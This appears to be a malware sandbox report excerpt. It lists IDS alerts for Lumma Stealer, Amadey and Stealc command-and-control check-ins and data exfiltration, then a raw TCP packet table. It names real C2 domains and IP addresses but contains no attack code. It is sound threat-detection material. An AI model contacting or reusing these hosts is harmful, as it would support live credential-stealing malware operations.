2024-10-31T01:19:20.876503+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49999	188.114.97.3	443	TCP
2024-10-31T01:19:21.294100+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49999	188.114.97.3	443	TCP
2024-10-31T01:19:21.294100+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49999	188.114.97.3	443	TCP
2024-10-31T01:19:22.772658+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50001	188.114.97.3	443	TCP
2024-10-31T01:19:24.425174+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50002	188.114.97.3	443	TCP
2024-10-31T01:19:25.930113+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50003	185.215.113.43	80	TCP
2024-10-31T01:19:26.720272+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50005	188.114.97.3	443	TCP
2024-10-31T01:19:26.858778+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50004	185.215.113.16	80	TCP
2024-10-31T01:19:27.662262+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50006	185.215.113.206	80	TCP
2024-10-31T01:19:29.039730+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50007	188.114.97.3	443	TCP
2024-10-31T01:19:29.524861+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50007	188.114.97.3	443	TCP
2024-10-31T01:19:31.325022+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50008	185.215.113.43	80	TCP
2024-10-31T01:19:32.262532+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50009	185.215.113.16	80	TCP
2024-10-31T01:19:32.262532+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50009	185.215.113.16	80	TCP
2024-10-31T01:19:32.803582+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50010	188.114.97.3	443	TCP
2024-10-31T01:19:35.030785+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50013	185.215.113.206	80	TCP
2024-10-31T01:19:35.525883+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50016	188.114.97.3	443	TCP
2024-10-31T01:19:36.293010+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50016	188.114.97.3	443	TCP
2024-10-31T01:19:36.648800+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50017	185.215.113.43	80	TCP
2024-10-31T01:19:37.212263+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50020	185.215.113.16	80	TCP
2024-10-31T01:19:40.000366+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	51367	1.1.1.1	53	UDP
2024-10-31T01:19:40.020024+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	54541	1.1.1.1	53	UDP
2024-10-31T01:19:40.064624+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	53555	1.1.1.1	53	UDP
2024-10-31T01:19:40.076397+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	55273	1.1.1.1	53	UDP
2024-10-31T01:19:40.772314+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50024	188.114.97.3	443	TCP
2024-10-31T01:19:41.618503+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50024	188.114.97.3	443	TCP
2024-10-31T01:19:41.618503+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50024	188.114.97.3	443	TCP
2024-10-31T01:19:43.397957+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50032	188.114.97.3	443	TCP
2024-10-31T01:19:43.838697+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50032	188.114.97.3	443	TCP
2024-10-31T01:19:43.838697+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50032	188.114.97.3	443	TCP
2024-10-31T01:19:50.101555+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50047	188.114.97.3	443	TCP
2024-10-31T01:19:54.999252+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50050	188.114.97.3	443	TCP
2024-10-31T01:19:57.109199+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50052	185.215.113.206	80	TCP
2024-10-31T01:19:57.362880+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50053	188.114.97.3	443	TCP
2024-10-31T01:20:01.198132+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50056	188.114.97.3	443	TCP
2024-10-31T01:20:01.678981+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50056	188.114.97.3	443	TCP
2024-10-31T01:20:06.626472+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50059	188.114.97.3	443	TCP
2024-10-31T01:20:08.558100+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50060	185.215.113.206	80	TCP
2024-10-31T01:20:09.087614+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50062	188.114.97.3	443	TCP
2024-10-31T01:20:09.755588+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50062	188.114.97.3	443	TCP
2024-10-31T01:20:10.828379+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50063	185.215.113.16	80	TCP
2024-10-31T01:20:14.200814+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	56201	1.1.1.1	53	UDP
2024-10-31T01:20:14.223240+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	49458	1.1.1.1	53	UDP
2024-10-31T01:20:14.274032+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	58177	1.1.1.1	53	UDP
2024-10-31T01:20:14.293111+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	49594	1.1.1.1	53	UDP
2024-10-31T01:20:14.941789+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50066	188.114.97.3	443	TCP
2024-10-31T01:20:15.805616+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50066	188.114.97.3	443	TCP
2024-10-31T01:20:15.805616+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50066	188.114.97.3	443	TCP
2024-10-31T01:20:18.615222+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50068	188.114.97.3	443	TCP
2024-10-31T01:20:19.123810+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50068	188.114.97.3	443	TCP
2024-10-31T01:20:19.123810+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50068	188.114.97.3	443	TCP
2024-10-31T01:20:20.623154+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50070	188.114.97.3	443	TCP
2024-10-31T01:20:21.907840+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50071	188.114.97.3	443	TCP
2024-10-31T01:20:23.607846+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50074	188.114.97.3	443	TCP
2024-10-31T01:20:24.059126+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50073	185.215.113.206	80	TCP
2024-10-31T01:20:25.928092+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50093	188.114.97.3	443	TCP
2024-10-31T01:20:29.162131+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50112	188.114.97.3	443	TCP
2024-10-31T01:20:29.760398+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50112	188.114.97.3	443	TCP
2024-10-31T01:20:30.151566+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50114	188.114.97.3	443	TCP
2024-10-31T01:20:40.217579+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50119	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 01:18:15.090514898 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.090543985 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:15.090616941 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.094182968 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.094192028 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:15.713779926 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:15.713860989 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.715696096 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.715703964 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:15.716033936 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:15.764590979 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.773011923 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.773036957 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:15.773411989 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:16.451235056 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:16.451335907 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:16.451379061 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:16.457509995 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:16.457516909 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:16.457532883 CET	49711	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:16.457537889 CET	443	49711	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:16.527550936 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:16.527575970 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:16.527657032 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:16.528031111 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:16.528043985 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.151494980 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.151668072 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.153203011 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.153222084 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.153460979 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.157942057 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.157959938 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.158020020 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.853862047 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.853914976 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.853946924 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.853971958 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.853980064 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854022026 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.854031086 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854064941 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854099989 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.854099989 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854113102 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854147911 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.854161978 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854372978 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.854413986 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.854420900 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.905253887 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.973109961 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.973175049 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.973212004 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.973220110 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.973229885 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.973269939 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:17.973277092 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.973329067 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:17.973368883 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.020307064 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.020314932 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.020337105 CET	49721	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.020342112 CET	443	49721	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.123902082 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.123920918 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.124003887 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.124320030 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.124329090 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.723062992 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.723143101 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.724927902 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.724934101 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.725214005 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:18.726768970 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.726955891 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:18.726990938 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:19.446459055 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:19.446584940 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:19.446666002 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:19.446964025 CET	49728	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:19.446969986 CET	443	49728	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:19.557495117 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:19.557519913 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:19.557625055 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:19.557976961 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:19.557986021 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.409138918 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.409259081 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.410614967 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.410623074 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.410968065 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.412374973 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.412528992 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.412564993 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.412636042 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.412642956 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.766710043 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.766832113 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:20.766905069 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.767079115 CET	49739	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:20.767090082 CET	443	49739	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.163691998 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.163737059 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.163834095 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.164211988 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.164223909 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.782567978 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.782645941 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.784393072 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.784400940 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.784720898 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.786540985 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.786700010 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.786760092 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:21.786819935 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:21.786828995 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:22.418975115 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:22.419074059 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:22.419168949 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:22.419317007 CET	49750	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:22.419327974 CET	443	49750	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:22.778635979 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:22.778669119 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:22.778754950 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:22.779141903 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:22.779158115 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.390407085 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.390568972 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:23.391932964 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:23.391942024 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.392301083 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.394035101 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:23.394134045 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:23.394143105 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.846050024 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.846204996 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:23.846261024 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:23.846313953 CET	49761	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:23.846328974 CET	443	49761	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:24.825007915 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:24.825043917 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:24.825129986 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:24.827586889 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:24.827598095 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.449271917 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.449357033 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.450525999 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.450531006 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.450777054 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.451993942 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.452846050 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.452876091 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453001976 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453037977 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453165054 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453223944 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453342915 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453376055 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453519106 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453553915 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453715086 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453749895 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453763008 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453769922 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453882933 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.453900099 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.453917980 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.454035997 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.454068899 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.463387966 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.463555098 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.463589907 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.463598013 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.463612080 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:25.463629007 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.463660002 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:25.468770027 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.265274048 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.265387058 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.265783072 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.271423101 CET	49771	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.271428108 CET	443	49771	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.287416935 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.287467003 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.287528992 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.287965059 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.287980080 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.913109064 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:27.913192034 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.999712944 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:27.999727011 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.000057936 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.027473927 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:28.027502060 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:28.027534008 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.690004110 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.690262079 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.690334082 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:28.690434933 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:28.690453053 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.690469027 CET	49789	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:18:28.690474987 CET	443	49789	188.114.97.3	192.168.2.6
Oct 31, 2024 01:18:28.692285061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:28.697150946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:28.697254896 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:28.697463036 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:28.702229977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601666927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601681948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601769924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601784945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601809978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601824045 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601840973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601855993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601876020 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.601926088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:29.601953030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:29.601991892 CET	80	49797	185.215.113.16	192.168.2.6
